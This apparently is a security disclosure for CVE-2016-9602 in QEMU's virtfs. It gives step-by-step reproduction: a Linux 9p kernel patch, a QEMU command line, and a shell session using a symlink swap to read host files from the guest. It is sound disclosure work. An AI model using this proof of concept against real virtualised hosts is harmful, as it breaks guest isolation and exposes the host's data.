QEMU: virtfs permits guest to access entire host filesystem
CVE-2016-9602
If an attacker can execute arbitrary code in the guest kernel and a virtfs is set up, the attacker can access the entire filesystem of the host using a symlink attack. This might require the security model "passthrough" or "none" - I haven't tested with the mapped modes.
Repro steps:
1. Place some file on the host that is not present in the guest - I use a file "real_root_marker" in the root directory of the host:
# echo "this is the host's filesystem root" > /real_root_marker
2. Clone the Linux kernel, apply the following patch and compile it:
diff --git a/fs/9p/vfs_inode.c b/fs/9p/vfs_inode.c
index 30ca770..d6e47df 100644
--- a/fs/9p/vfs_inode.c
+++ b/fs/9p/vfs_inode.c
@@ -803,6 +803,8 @@ struct dentry *v9fs_vfs_lookup(struct inode *dir, struct dentry *dentry,
return ERR_CAST(dfid);
name = (char *) dentry->d_name.name;
+ if (!strncmp(name, "SAME_", 5))
+ name = name + 5;
fid = p9_client_walk(dfid, 1, &name, 1);
if (IS_ERR(fid)) {
if (fid == ERR_PTR(-ENOENT)) {
3. Run qemu, with the patched kernel as guest kernel and with at least one virtfs filesystem. I'm using the following commandline, but that's somewhat specific to my setup - anything with a virtfs in passthrough/none mode should work as far as I can tell:
/path/to/qemu/x86_64-softmmu/qemu-system-x86_64 -m 500M -enable-kvm -nographic \
-snapshot \
-drive file=build/initfs.fsimg,index=0,media=disk \
-virtfs local,path=./vm_root,mount_tag=virt_root,security_model=passthrough \
-kernel ./vm_root/root/linux/arch/x86/boot/bzImage \
-net user,net=192.168.0.0/24,host=192.168.0.2,restrict=off,dns=192.168.0.3,hostfwd=tcp:127.0.0.1:2222-:22 \
-net nic \
-append "root=/dev/sda ro debug ignore_loglevel console=ttyS0"
4. Inside the VM, mount the virtfs.
5. Somewhere inside the virtfs mountpoint, do this:
root@jannh-vm:/tmp# cat /real_root_marker
cat: /real_root_marker: No such file or directory
root@jannh-vm:/tmp# mkdir deleteme
root@jannh-vm:/tmp# cd SAME_deleteme
root@jannh-vm:/tmp/SAME_deleteme# rmdir /tmp/deleteme
root@jannh-vm:/tmp/SAME_deleteme# ln -s / /tmp/deleteme
root@jannh-vm:/tmp/SAME_deleteme# cat real_root_marker
this is the host's filesystem root
I tested with a recent qemu version from git://git.qemu-project.org/qemu.git (commit <a href="https://crrev.com/a92f7fe5a82ac9e8d127e92c5dce1a84064126da" title="" class="" rel="nofollow">a92f7fe5a82ac9e8d127e92c5dce1a84064126da</a>).
I believe that this is a security issue because according to the qemu manpage, virtfs only exposes the specified directory, while actually, it is possible to access the entire host filesystem.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: jannh